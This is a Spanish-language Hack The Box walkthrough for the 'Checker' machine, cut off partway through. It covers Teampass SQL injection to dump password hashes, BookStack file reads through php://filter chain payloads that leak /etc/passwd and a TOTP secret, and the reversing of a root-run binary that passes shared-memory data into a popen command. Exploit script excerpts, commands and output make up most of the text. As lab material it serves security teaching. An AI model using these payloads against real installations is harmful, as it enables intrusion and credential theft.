En Checker se inicio con la explotacion de una vulnerabilidad SQLi en Teampass donde se encontraron credenciales que permitieron el acceso a BookStack y posteriormente la explotacion de LFI via SSRF donde logramos la lectura del codigo 2FA para Google Authenticator lo que facilito el acceso por SSH. La Escalada de Privilegios involucra el analisis de un ejecutable que verifica el hash de un usuario que, hace uso de Memoria Compartida para el manejo de informacion y ejecucion de consultas en MySQL. Se ecribio un programa para encontrar y modificar la informacion en memoria para realizar Command Injection.
El sitio web muestra el formulario de login de BookStack.
En el codigo fuente del sitio observamos la version v23.10.2 en app.js.
1
2
3
4
5
6
<span>Back to top</span></div></div><scriptsrc="http://checker.htb/dist/app.js?version=v23.10.2"nonce="uxGcNQA3YCG0oU7ufelKBPTb"></script></body></html>
Teampass
En el puerto 8080 encontramos el login de Teampass.
vault.checker.htb
Al visitar el puerto 8080 se realizan algunas solicitudes hacia vault.checker.htb.
Al realizar una solicitud a este subdominio observamos que redirige hacia el login de BookStack.
Teampass tiene una vulnerabilidad SQL injection en la API la cual permite obtener el username y hash de la contrasena. Tras ejecutar el PoC este nos muestra dos usuarios registrados.
1
2
3
4
5
6
7
❯ bash exploit.sh
Usage: exploit.sh <base-url>
❯ bash exploit.sh http://checker.htb:8080/
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
❯
Cracking the Hash
Ejecutamos hashcat con el wordlist rockyou.txt sobre el archivo de hash. Observamos la contrasena de bob.
El PoC muestra que la explotacion se realiza a traves del contenido de una pagina insertando el tag <img> la imagen en base64 es una url.
Intentamos replicar el PoC en checker, ejecutamos un servidor http con python, creamos un libro y una pagina, en esta ultima agregamos contenido, automaticamente se realiza una solicitud para guardar el borrador.
Editamos la solicitud con Repeater de Burpsuite y enviamos el tag con el contenido codificado donde agregamos la IP de nuestra maquina.
# requestor.pydefreq_with_response(self,s):ifself.delay>0:time.sleep(self.delay)filter_chain=f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'b64filter=base64.b64encode(filter_chain.encode('utf-8'))filter_chain=f"<img+src='data:image/png;base64,{b64filter.decode()}'/>"# DEBUG print(filter_chain)merged_data=self.parameter+'='+filter_chain# Make the request, the verb and data encoding is defined# [....]# snip# [....]# bruteforcer.pydeffind_value(self,i:int)->str:"""Finds the value at offset i, whether it's a letter or a digit."""whileTrue:ifiinself.cache:prefix=self.cache[i]['prefix']letter=self.cache[i]['letter']else:prefix=f"{self.HEADER}|{self.get_nth(i)}"letter=self.find_letter(prefix)self.cache[i]={'prefix':prefix,'letter':letter}ifletter=="*":letter=self.find_number(i)self.cache[i]['letter']=letter# Update cache with new letterifletter=="*"andself.FLIP!=self.FLIP_WARNING_FRIENDLY:self.FLIP=self.FLIP_WARNING_FRIENDLYelse:breakreturnletter
Con el cambio realizado ejecutamos el script con los valores necesarios para la explotacion, tras ello empezamos a observar contenido del archivo /etc/passwd, eventualmente obtuvimos el contenido completo.
1
2
3
4
5
6
7
8
9
10
11
❯ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/etc/passwd' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN": "zoIXCBP2O0QZSC4TV5dOGXTvbF4pDg6CEOqC12Vb", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjNGSVlsaGIyZUVQMGJaOW5mRHZSSGc9PSIsInZhbHVlIjoiYmo5SE9XWExNUzFKc1VXbytmcVpuTTk2SWttUk1vSHo5WU9jdlpzSXNuWkdhNHRRd1NMZEpXTFVEY3VrOGI0RG5YeXMzTUhaWWQ1dGpsd25WZUlWZ1BXTkFBejJCZmpHLzdBdiszdkxzdzFGS2d6MUx5amxaZ2pkcXFnUm5RdG0iLCJtYWMiOiIxNTEwN2QzMjg3ODczMTc0OTI3NDM2Y2RmNjE4MmVkNjNhY2I2NjZlOGEzZDI0NWQ1M2M2ZDY4N2RkYzg2ZGQyIiwidGFnIjoiIn0%3D" }' --log file.log
[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /etc/passwd
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN": "zoIXCBP2O0QZSC4TV5dOGXTvbF4pDg6CEOqC12Vb", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjNGSVlsaGIyZUVQMGJaOW5mRHZSSGc9PSIsInZhbHVlIjoiYmo5SE9XWExNUzFKc1VXbytmcVpuTTk2SWttUk1vSHo5WU9jdlpzSXNuWkdhNHRRd1NMZEpXTFVEY3VrOGI0RG5YeXMzTUhaWWQ1dGpsd25WZUlWZ1BXTkFBejJCZmpHLzdBdiszdkxzdzFGS2d6MUx5amxaZ2pkcXFnUm5RdG0iLCJtYWMiOiIxNTEwN2QzMjg3ODczMTc0OTI3NDM2Y2RmNjE4MmVkNjNhY2I2NjZlOGEzZDI0NWQ1M2M2ZDY4N2RkYzg2ZGQyIiwidGFnIjoiIn0%3D"}[...] snip [...][+] File /etc/passwd leak is finished!
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTA3OjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnJlYWRlcjp4OjEwMDA6MTAwMDo6L2hvbWUvcmVhZGVyOi9iaW4vYmFzaApteXNxbDp4OjEwODoxMTQ6TXlTUUwgU2VydmVyLCwsOi9ub25leGlzdGVudDovYmluL2ZhbHNlCl9sYXVyZWw6eDo5OTk6OTk5OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxz
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:104::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\npollinate:x:105:1::/var/cache/pollinate:/bin/false\nsshd:x:106:65534::/run/sshd:/usr/sbin/nologin\nusbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nreader:x:1000:1000::/home/reader:/bin/bash\nmysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false\n_laurel:x:999:999::/var/log/laurel:/bin/fals'[*] Info logged in : file.log
❯
El contenido del archivo muestra que existe el usuario reader en la maquina.
# The following data was leaked from http://checker.htb/ajax/page/11/save-draft from the file /etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
reader:x:1000:1000::/home/reader:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/fals
User - Reader (SSH + 2FA)
SSH muestra como requisito un codigo de verificacion, encontramos que es posible implementar 2FA en SSH con Google Authenticator, y la secret key se encuentra en ~/.google_authenticator.
Intentamos obtener la secret key pero encontramos que no existe o no tenemos los permisos para leerlo.
1
[-] File /home/reader/.google_authenticator is either empty, or the exploit did not work :(
En una de las paginas en BookStack encontramos un script que sugiere la forma de realizar un backup de /home a /backup/home_backup, intentamos con esta ruta y logramos leer el archivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/backup/home_backup/home/reader/.google_authenticator' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN": "zoIXCBP2O0QZSC4TV5dOGXTvbF4pDg6CEOqC12Vb", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjNGSVlsaGIyZUVQMGJaOW5mRHZSSGc9PSIsInZhbHVlIjoiYmo5SE9XWExNUzFKc1VXbytmcVpuTTk2SWttUk1vSHo5WU9jdlpzSXNuWkdhNHRRd1NMZEpXTFVEY3VrOGI0RG5YeXMzTUhaWWQ1dGpsd25WZUlWZ1BXTkFBejJCZmpHLzdBdiszdkxzdzFGS2d6MUx5amxaZ2pkcXFnUm5RdG0iLCJtYWMiOiIxNTEwN2QzMjg3ODczMTc0OTI3NDM2Y2RmNjE4MmVkNjNhY2I2NjZlOGEzZDI0NWQ1M2M2ZDY4N2RkYzg2ZGQyIiwidGFnIjoiIn0%3D" }' --log file1.log
[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN": "zoIXCBP2O0QZSC4TV5dOGXTvbF4pDg6CEOqC12Vb", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjNGSVlsaGIyZUVQMGJaOW5mRHZSSGc9PSIsInZhbHVlIjoiYmo5SE9XWExNUzFKc1VXbytmcVpuTTk2SWttUk1vSHo5WU9jdlpzSXNuWkdhNHRRd1NMZEpXTFVEY3VrOGI0RG5YeXMzTUhaWWQ1dGpsd25WZUlWZ1BXTkFBejJCZmpHLzdBdiszdkxzdzFGS2d6MUx5amxaZ2pkcXFnUm5RdG0iLCJtYWMiOiIxNTEwN2QzMjg3ODczMTc0OTI3NDM2Y2RmNjE4MmVkNjNhY2I2NjZlOGEzZDI0NWQ1M2M2ZDY4N2RkYzg2ZGQyIiwidGFnIjoiIn0%3D"}[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'[*] Info logged in : file1.log
❯ cat file1.log
# The following data was leaked from http://checker.htb/ajax/page/8/save-draft from the file /backup/home_backup/home/reader/.google_authenticatorDVDBRAODLCWF7I2ONA4K5LQLUE
" TOTP_AUTH
❯
┌──(kali㉿kali)-[~/htb/checker]└─$ ssh reader@checker.htb # hiccup-publicly-genesis(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Last login: Wed Feb 26 04:10:09 2025 from 10.10.14.25
reader@checker:~$ whoami;id;pwdreader
uid=1000(reader)gid=1000(reader)groups=1000(reader)/home/reader
reader@checker:~$ ls
user.txt
reader@checker:~$ cat user.txt
d648585b0b994e54b80ec8e417521ad5
reader@checker:~$
Privesc
reader tiene permisos para ejecutar como root el script check-leak.sh.
1
2
3
4
5
6
7
8
9
10
11
12
reader@checker:~$ sudo -l -l
Matching Defaults entries for reader on checker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User reader may run the following commands on checker:
Sudoers entry:
RunAsUsers: ALL
Options: !authenticate
Commands:
/opt/hash-checker/check-leak.sh *
reader@checker:~$
El script carga variables de entorno del archivo .env, acepta letras y numeros como nombre de usuario, este ultimo es utilizado como argumento en check_leak.
Al ejecutar file sobre check_leak observamos que es un ejecutable.
1
2
3
reader@checker:~$ file /opt/hash-checker/check_leak
/opt/hash-checker/check_leak: ELF 64-bit LSB pie executable, x86-64, version 1(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped
reader@checker:~$
Se ejecuto strings sobre el ejecutable, se muestra el uso de memoria compartida, la ejecucion de mysql con un query. Ademas encontramos un archivo de texto con una lista de hashes.
reader@checker:~$ strings /opt/hash-checker/check_leak
/lib64/ld-linux-x86-64.so.2
[...]libasan.so.6
libmysqlclient.so.21
[...]libmysqlclient_21.0
[...]13210248 query:36
Error: %s
SELECT pw FROM teampass_users WHERE login='%s';Error storing result: %s
Memory allocation error.
1322567 line:76
Error opening file
13287 now:105
shmget
shmat
Leaked hash detected at %s > %s
Failed to locate shared memory segment with key 0x%X. It may not exist or there may be insufficient permissions.
Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.
An error occurred while detaching from shared memory segment with ID %d.
Could not delete shared memory segment with ID %d. Please ensure you have the necessary permissions.
13225617 result_buffer:171
No shared memory segment found for the given address: 0x%X
Leaked hash detected
MYSQL_PWD
setenv
mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'Failed to allocate memory forcommandFailed to execute MySQL query
Failed to read result from the db
Failed to allocate memory for result string
User will be notified via %s
Malformed data in the shared memory.
No hash detected in shared memory.
shmdt
DB_HOST
DB_USER
DB_PASSWORD
DB_NAME
/opt/hash-checker/leaked_hashes.txt
Error: Missing database credentials in environment
Usage: %s <USER>
Error: <USER> is not provided.
Error: <USER> is too long. Maximum length is 20 characters.
Password is leaked!
Using the shared memory 0x%X as temp location
User is safe.
User not found in the database.
*.LC4
check.c
[...].debug_line_str
reader@checker:~$ cat /opt/hash-checker/leaked_hashes.txt
$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
$2b$10$a/lpwbKF6pyAWeGHCVARz.JOi3xtNzGK..GZON/cFhNi1eyMi4UIC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$DanymKXfnu1ZTrRh3JwBhuPsmjgOEBJLNEEmLPAAIfG9kiOI28fIC$2b$10$/GwrAIQczda3O5.rnGb4IOqEE/JMU4TIcy95ECSh/pZBQzhlWITQ.
$2b$10$Ef6TBE9GdSsjUPwjm0NYlurGfVO/GdtaCsWBpVRPnQsCbYgf4oU8a
$2b$10$/KLwuhoXHfyKpq1qj8BDcuzNyhR0h0g27jl0yiX7BpBL9kO.wFWii
$2b$10$Ito9FRIN9DgMHWn20Zgfa.yKKlJ.HedScxyvymCxMYTWaZANHIzvO
$2b$10$J025XtUSjTm.kUfa19.6geInkfiISIjkr7unHxT4V/XDIl.2LYrZ2
$2b$10$g962m7.wovzDRPI/4l0GEOviIs2WUPBqlkPgVAPfsYpa138dd9aYK
$2b$10$keolOsecWXEyDIN/zDPVbuc/UOjGjnZGblpdBPQAfZDVm2fRIDUCq
$2b$10$y2Toog209OyRWk6z7S7XNOAkVBijv3HwNBpKk.R1bPCYuR8WxrL66
$2b$10$O4OQizv0TVsWxWi26tg8Xu3SCS29ZEv9JqwlY5ED240qW8V0eyG7a$2b$10$/1ePaOFZrcpNHWFk72ZNpepXRvXIi1zMSBYBGGqxfUlxw/JiQQvCG
$2b$10$/0az8KLoanuz3rfiN.Ck9./Mt6IHxs5OGtKbgM31Z0NH9maz1hPDe
$2b$10$VGR3JK.E0Cc3OnY9FuB.u.qmwFBBRCrRLAvUlPnO5QW5SpD1tEeDO
$2b$10$9p/iOwsybwutYoL3xc5jaeCmYu7sffW/oDq3mpCUf4NSZtq2CXPYC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$8cXny33Ok0hbi2IY46gjJerQkEgKj.x1JJ6/orCvYdif07/tD8dUK
$2b$10$QAcqcdyu1T1qcpM4ZQeM6uJ3dXw2eqT/lUUGZvNXzhYqcEEuwHrvS
$2b$10$M1VMeJrjgaIbz2g2TCm/ou2srr4cd3c18gxLA32NhvpXwxo3P5DZW
$2b$10$rxp3yM98.NcbD3NeHLjGUujzIEWYJ5kiSynHOHo0JvUvXq6cBLuRO
$2b$10$ZOUUTIj7JoIMwoKsXVOsdOkTzKgHngBCqkt.ASKf78NUwfeIB4glK
reader@checker:~$
Tras la ejecucion del archivo observamos diferentes resultados, admin, es un usuario seguro, a diferencia de bob que muestra que su contrasena ha sido filtrada.
1
2
3
4
5
6
7
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh admin
User is safe.
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x38A75 as temp location
User will be notified via bob@checker.htb
reader@checker:~$
pspy no muestra ningun comando cuando el usuario es admin, a diferencia de bob que muestra la ejecucion de mysql con un query especificando el hash de este.
// main
intmain(intargc,char*argv[]){// Retrieve database credentials from environment variables.
char*dbHost=getenv("DB_HOST");char*dbUser=getenv("DB_USER");char*dbPassword=getenv("DB_PASSWORD");char*dbName=getenv("DB_NAME");if(!dbHost||!dbUser||!dbPassword||!dbName){fprintf(stderr,"Error: Missing database credentials in environment\n");exit(EXIT_FAILURE);}// Ensure the user provided exactly one argument (the username).
if(argc!=2){fprintf(stderr,"Usage: %s <USER>\n",argv[0]);exit(EXIT_FAILURE);}char*user=argv[1];if(user==NULL||user[0]=='\0'){fprintf(stderr,"Error: <USER> is not provided.\n");exit(EXIT_FAILURE);}// Check that the user name is not longer than 20 characters.
if(strlen(user)>20){fprintf(stderr,"Error: <USER> is too long. Maximum length is 20 characters.\n");exit(EXIT_FAILURE);}// Fetch the bcrypt hash from the database for the given user.
void*userHash=fetch_hash_from_db(dbHost,dbUser,dbPassword,dbName,user);if(userHash==NULL){puts("User not found in the database.");return0;}// Check if the user's password hash appears in the leaked hashes file.
if(!check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",userHash)){puts("User is safe.");}else{puts("Password is leaked!");fflush(stdout);// Write the leaked hash to shared memory.
unsignedintshmId=write_to_shm(userHash);printf("Using the shared memory 0x%X as temp location\n",shmId);fflush(stdout);// Pause briefly before notifying the user.
sleep(1);// Notify the user about the leaked password.
notify_user(dbHost,dbUser,dbPassword,dbName,shmId);// Clear the shared memory segment after notification.
clear_shared_memory(shmId);}free(userHash);return0;}
// fetch_hash_from_db
char*fetch_hash_from_db(paramsforMySQLconnection,char*login){// (1) Set up a local buffer with ASan instrumentation if enabled
// (2) Initialize MySQL connection
MYSQL*conn=mysql_init(0);if(!conn){fprintf(stderr,"Error: %s\n",mysql_error(0));exit(1);}// (3) Connect to the database
if(!mysql_real_connect(conn,param1,param2,param3,param4,0,0,0)){fprintf(stderr,"Error: %s\n",mysql_error(conn));mysql_close(conn);exit(1);}// (4) Build the query string using the login parameter
charquery[1024];snprintf(query,sizeof(query),"SELECT pw FROM teampass_users WHERE login = '%s';",login);// (5) Execute the query
if(mysql_query(conn,query)!=0){fprintf(stderr,"Error: %s\n",mysql_error(conn));mysql_close(conn);exit(1);}// (6) Retrieve the result set
MYSQL_RES*result=mysql_store_result(conn);if(!result){fprintf(stderr,"Error storing result: %s\n",mysql_error(conn));mysql_close(conn);exit(1);}// (7) Fetch the first row
MYSQL_ROWrow=mysql_fetch_row(result);char*hash=NULL;if(row!=NULL&&row[0]!=NULL){// Allocate memory for the hash and copy it
size_tlen=strlen(row[0]);hash=malloc(len+1);if(!hash){fwrite("Memory allocation error.\n",1,strlen("Memory allocation error.\n"),stderr);mysql_free_result(result);mysql_close(conn);exit(1);}strcpy(hash,row[0]);}// (8) Clean up and close connection
mysql_free_result(result);mysql_close(conn);// (9) Final ASan and stack guard cleanup, then return the hash
returnhash;}
// check_bcrypt_in_file
intcheck_bcrypt_in_file(char*filepath,char*target){// Set up a local buffer (with ASan support if enabled)
Bufferbuf=allocate_buffer();initialize_debug_info(buf);// Open the file for reading
FILE*file=fopen(filepath,"r");if(file==NULL){perror("Error opening file");return0;}// Process the file line by line
while(fgets(buf.line,BUFFER_SIZE,file)!=NULL){// Remove the trailing newline if present
if(buf.lineendswith'\n'){remove_trailing_newline(buf.line);}// Compare the cleaned-up line with the target string
if(strcmp(buf.line,target)==0){fclose(file);cleanup_buffer(buf);return1;}}// No match found: close file and clean up
fclose(file);cleanup_buffer(buf);return0;}
// notify_user
voidnotify_user(uint64_tunused,constchar*mysqlUser,char*mysqlPassword,constchar*databaseName,unsignedintshmKey){// Get shared memory segment using the provided key.
intshmid=shmget(shmKey,0,0x1B6);if(shmid==-1){printf("No shared memory segment found for the given address: 0x%X\n",shmKey);return;}// Attach to the shared memory segment.
char*sharedMemory=(char*)shmat(shmid,NULL,0);if(sharedMemory==(char*)-1){fprintf(stderr,"Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.\n",shmid);return;}// Search for the leaked hash message.
char*hashMessage=strstr(sharedMemory,"Leaked hash detected");if(hashMessage==NULL){puts("No hash detected in shared memory.");shmdt(sharedMemory);return;}// Find the '>' character that precedes the hash.
char*hashStart=strchr(hashMessage,'>');if(hashStart==NULL){puts("Malformed data in the shared memory.");shmdt(sharedMemory);return;}// Trim and extract the bcrypt hash.
char*trimmedHash=trim_bcrypt_hash(hashStart+1);// Set the MySQL password environment variable.
if(setenv("MYSQL_PWD",mysqlPassword,1)!=0){perror("setenv");shmdt(sharedMemory);return;}// Build the MySQL command string.
intcmdLength=snprintf(NULL,0,"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'",mysqlUser,databaseName,trimmedHash);char*cmd=malloc(cmdLength+1);if(cmd==NULL){puts("Failed to allocate memory for command");shmdt(sharedMemory);unsetenv("MYSQL_PWD");return;}snprintf(cmd,cmdLength+1,"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = \"%s\"'",mysqlUser,databaseName,trimmedHash);// Execute the MySQL command and capture its output.
FILE*fp=popen(cmd,"r");if(fp==NULL){puts("Failed to execute MySQL query");free(cmd);shmdt(sharedMemory);unsetenv("MYSQL_PWD");return;}charresultBuffer[256];if(fgets(resultBuffer,sizeof(resultBuffer),fp)==NULL){puts("Failed to read result from the db");pclose(fp);free(cmd);shmdt(sharedMemory);unsetenv("MYSQL_PWD");return;}pclose(fp);free(cmd);// Remove any newline character from the result.
char*newline=strchr(resultBuffer,'\n');if(newline){*newline='\0';}// Duplicate the result (if needed for further processing).
char*notification=strdup(resultBuffer);if(notification==NULL){puts("Failed to allocate memory for result string");shmdt(sharedMemory);unsetenv("MYSQL_PWD");return;}// If the result string is not empty, notify the user.
if(notification[0]!='\0'){printf("User will be notified via %s\n",notification);}free(notification);// Detach from the shared memory segment.
if(shmdt(sharedMemory)==-1){perror("shmdt");}// Clean up the MySQL password environment variable.
unsetenv("MYSQL_PWD");}
//write_to_shm
unsignedintwrite_to_shm(constchar*leakedHash){// Seed the random number generator with the current time.
time_tcurrentTime=time(NULL);srand((unsignedint)currentTime);intrandValue=rand();// Compute a shared memory key based on a random value modulo 0xfffff.
intshmKey=randValue%0xfffff;intshmid=shmget(shmKey,0x400,0x3B6);// Attach to the shared memory segment.
char*shmAddr=shmat(shmid,NULL,0);// Get the current time as a string.
time_tnow=time(NULL);char*timeStr=ctime(&now);// Remove the newline character from the end of the time string.
size_tlen=strlen(timeStr);if(len>0&&timeStr[len-1]=='\n'){timeStr[len-1]='\0';}// Write the leaked hash message to the shared memory segment.
snprintf(shmAddr,0x400,"Leaked hash detected at %s > %s\n",timeStr,leakedHash);// Detach from the shared memory.
shmdt(shmAddr);// Return the shared memory key.
returnshmKey;}
// trim_bcrypt_hash
/**
* Trims leading spaces and '>' characters, and trailing spaces/newlines from a bcrypt hash string.
* Modifies the input string in-place and returns a pointer to the trimmed result.
